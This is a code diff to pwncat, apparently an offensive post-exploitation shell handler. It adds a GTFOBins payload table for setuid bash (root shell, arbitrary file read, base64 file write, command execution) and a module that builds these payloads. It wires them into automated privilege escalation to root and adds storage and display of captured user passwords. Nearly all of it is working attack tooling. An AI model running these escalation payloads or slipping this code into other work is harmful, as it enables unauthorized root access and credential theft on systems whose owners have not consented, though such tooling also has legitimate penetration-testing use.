diff --git a/data/gtfobins.json b/data/gtfobins.json new file mode 100644 index 0000000..1aa81a7 --- /dev/null +++ b/data/gtfobins.json @@ -0,0 +1,12 @@ +[ + { + "name": "bash", + "shell": "{path} -p", + "read_file": "{path} -p -c \"cat {lfile}\"", + "write_file": { + "type": "base64", + "payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\"" + }, + "command": "{path} -p -c {command}" + } +] diff --git a/pwncat/__main__.py b/pwncat/__main__.py index 1290b86..f0e4f57 100644 --- a/pwncat/__main__.py +++ b/pwncat/__main__.py @@ -6,6 +6,7 @@ import socket import sys from pwncat.pty import PtyHandler +from pwncat import gtfobins from pwncat import util @@ -13,6 +14,8 @@ def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) + # Ensure our GTFObins data is loaded + gtfobins.Binary.load("data/gtfobins.json") parser = argparse.ArgumentParser(prog="pwncat") mutex_group = parser.add_mutually_exclusive_group(required=True) diff --git a/pwncat/gtfobins.py b/pwncat/gtfobins.py new file mode 100644 index 0000000..a782cb2 --- /dev/null +++ b/pwncat/gtfobins.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python3 +from typing import List, Dict, Any +from shlex import quote +import binascii +import base64 +import json +import os + + +class Binary: + + _binaries: List[Dict[str, Any]] = [] + + def __init__(self, path: str, data: Dict[str, Any]): + """ build a new binary from a dictionary of data. The data is taken from + the GTFOBins JSON database """ + self.data = data + self.path = path + + def shell(self, shell_path: str) -> str: + """ Build a a payload which will execute the binary and result in a + shell. `path` should be the path to the shell you would like to run. In + the case of GTFOBins that _are_ shells, this will likely be ignored, but + you should always provide it. + """ + + if "shell" not in self.data: + return None + + if isinstance(self.data["shell"], str): + enter = self.data["shell"] + exit = "exit" + else: + enter = self.data["shell"]["enter"] + exit = self.data["shell"].get("exit", "exit") + + return enter.format(path=quote(self.path), shell=quote(shell_path)), exit + + def read_file(self, file_path: str) -> str: + """ Build a payload which will leak the contents of the specified file. + """ + + if "read_file" not in self.data: + return None + + return self.data["read_file"].format( + path=quote(self.path), lfile=quote(file_path) + ) + + def write_file(self, file_path: str, data: bytes) -> str: + """ Build a payload to write the specified data into the file """ + + if "write_file" not in self.data: + return None + + if isinstance(data, str): + data = data.encode("utf-8") + + if self.data["write_file"]["type"] == "base64": + data = base64.b64encode(data) + elif self.data["write_file"]["type"] == "hex": + data = binascii.hexlify(data) + elif self.data["write_file"]["type"] != "raw": + raise RuntimeError( + "{self.data['name']}: unknown write_file type: {self.data['write_file']['type']}" + ) + + return self.data["write_file"]["payload"].format( + path=quote(self.path), + lfile=quote(file_path), + data=quote(data.decode("utf-8")), + ) + + def command(self, command: str) -> str: + """ Build a payload to execute the specified command """ + + if "command" not in self.data: + return None + + return self.data["command"].format( + path=quote(self.path), command=quote(command) + ) + + @classmethod + def load(cls, gtfo_path: str): + with open(gtfo_path) as filp: + cls._binaries = json.load(filp) + + @classmethod + def find(cls, path: str, name: str = None) -> "Binary": + """ Locate the given gtfobin and return the Binary object. If name is + not given, it is assumed to be the basename of the path. """ + + if name is None: + name = os.path.basename(path) + + for binary in cls._binaries: + if binary["name"] == name: + return Binary(path, binary) + + return None diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index 6ffd927..5619774 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -from typing import Type, List +from typing import Type, List, Tuple from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod from pwncat.privesc.setuid import SetuidMethod @@ -30,16 +30,35 @@ class Finder: except PrivescError: pass + def search(self, target_user: str = None) -> List[Technique]: + """ Search for privesc techniques for the current user to get to the + target user. If target_user is not specified, all techniques for all + users will be returned. """ + + techniques = [] + for method in self.methods: + techniques.extend(method.enumerate()) + + if target_user is not None: + techniques = [ + technique for technique in techniques if technique.user == target_user + ] + + return techniques + def escalate( self, target_user: str = None, depth: int = None, chain: List[Technique] = [], starting_user=None, - ): + ) -> List[Tuple[Technique, str]]: """ Search for a technique chain which will gain access as the given user. """ + if target_user is None: + target_user = "root" + current_user = self.pty.current_user if ( target_user == current_user["name"] diff --git a/pwncat/privesc/base.py b/pwncat/privesc/base.py index 4d96424..b135731 100644 --- a/pwncat/privesc/base.py +++ b/pwncat/privesc/base.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 from typing import Generator, Callable, List, Any from dataclasses import dataclass +from colorama import Fore import threading import socket import os @@ -23,7 +24,7 @@ class Technique: ident: Any def __str__(self): - return f"{self.user} via {self.method.name}" + return self.method.get_name(self) class Method: @@ -51,6 +52,9 @@ class Method: Raise a PrivescError if there was a problem. """ raise NotImplementedError("no execute method implemented") + def get_name(self, tech: Technique): + return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.RED}{self}{Fore.RED}" + def __str__(self): return self.name @@ -99,3 +103,6 @@ class SuMethod(Method): if self.pty.whoami() != technique.user: raise PrivescError(f"{technique} failed (still {self.pty.whoami()})") + + def get_name(self, tech: Technique): + return f"{Fore.GREEN}{tech.name}{Fore.RESET} via {Fore.RED}known password{Fore.RESET}" diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py index 2ee84a8..7ce821e 100644 --- a/pwncat/privesc/setuid.py +++ b/pwncat/privesc/setuid.py @@ -8,6 +8,7 @@ from colorama import Fore, Style from pwncat.util import info, success, error, progress, warn from pwncat.privesc.base import Method, PrivescError, Technique +from pwncat import gtfobins # https://gtfobins.github.io/#+suid known_setuid_privescs = { @@ -121,17 +122,18 @@ class SetuidMethod(Method): for user, paths in self.suid_paths.items(): for path in paths: - for name, cmd in known_setuid_privescs.items(): - if os.path.basename(path) == name: - yield Technique(user, self, (path, name, cmd)) + binary = gtfobins.Binary.find(path) + if binary is not None: + yield Technique(user, self, binary) def execute(self, technique: Technique): """ Run the specified technique """ - path, name, commands = technique.ident + binary = technique.ident + enter, exit = binary.shell("/bin/bash") info( - f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{path}{Style.RESET_ALL}", + f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}", ) before_shell_level = self.pty.run("echo $SHLVL").strip() @@ -141,13 +143,14 @@ class SetuidMethod(Method): # self.pty.run(each_command.format(path), wait=False) # Run the start commands - self.pty.run(commands[0].format(path) + "\n") + self.pty.run(enter + "\n") + self.pty.recvuntil("\n") # sleep(0.1) user = self.pty.run("whoami").strip().decode("utf-8") if user == technique.user: success("privesc succeeded") - return commands[1] + return exit else: error(f"privesc failed (still {user} looking for {technique.user})") after_shell_level = self.pty.run("echo $SHLVL").strip() @@ -156,6 +159,9 @@ class SetuidMethod(Method): ) if after_shell_level > before_shell_level: info("exiting spawned inner shell") - self.pty.run(commands[1], wait=False) # here be dragons + self.pty.run(exit, wait=False) # here be dragons raise PrivescError(f"escalation failed for {technique}") + + def get_name(self, tech: Technique): + return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.CYAN}{tech.ident.path}{Fore.RESET} ({Fore.RED}setuid{Fore.RESET})" diff --git a/pwncat/pty.py b/pwncat/pty.py index ccdf3c7..93fc56f 100644 --- a/pwncat/pty.py +++ b/pwncat/pty.py @@ -496,6 +496,20 @@ class PtyHandler: """ Attempt privilege escalation """ parser = argparse.ArgumentParser(prog="privesc") + parser.add_argument( + "--list", + "-l", + action="store_true", + help="do not perform escalation. list potential escalation methods", + ) + parser.add_argument( + "--all", + "-a", + action="store_const", + dest="user", + const=None, + help="when listing methods, list for all users. when escalating, escalate to root.", + ) parser.add_argument( "--user", "-u", @@ -517,10 +531,18 @@ class PtyHandler: # The arguments were parsed incorrectly, return. return - try: - self.privesc.escalate(args.user, args.depth) - except privesc.PrivescError as exc: - util.error(f"escalation failed: {exc}") + if args.list: + techniques = self.privesc.search(args.user) + if len(techniques) == 0: + util.warn("no techniques found") + else: + for tech in techniques: + util.info(f"escalation to {tech}") + else: + try: + self.privesc.escalate(args.user, args.depth) + except privesc.PrivescError as exc: + util.error(f"escalation failed: {exc}") @with_parser def do_download(self, args): @@ -643,13 +665,27 @@ class PtyHandler: """ Set or view the currently assigned variables """ if len(argv) == 0: + util.info("local variables:") for k, v in self.vars.items(): print(f" {k} = {shlex.quote(v)}") + + util.info("user passwords:") + for user, data in self.users.items(): + if data["password"] is not None: + print( + f" {Fore.GREEN}{user}{Fore.RESET} -> {Fore.CYAN}{shlex.quote(data['password'])}{Fore.RESET}" + ) return parser = argparse.ArgumentParser(prog="set") - parser.add_argument("variable", help="the variable name") - parser.add_argument("value", help="the new variable type") + parser.add_argument( + "--password", + "-p", + action="store_true", + help="set the password for the given user", + ) + parser.add_argument("variable", help="the variable name or user") + parser.add_argument("value", help="the new variable/user password value") try: args = parser.parse_args(argv) @@ -657,7 +693,12 @@ class PtyHandler: # The arguments were parsed incorrectly, return. return - self.vars[args.variable] = args.value + if args.password is not None and args.variable not in self.users: + util.error(f"{args.variable}: no such user") + elif args.password is not None: + self.users[args.variable]["password"] = args.value + else: + self.vars[args.variable] = args.value def do_help(self, argv): """ View help for local commands """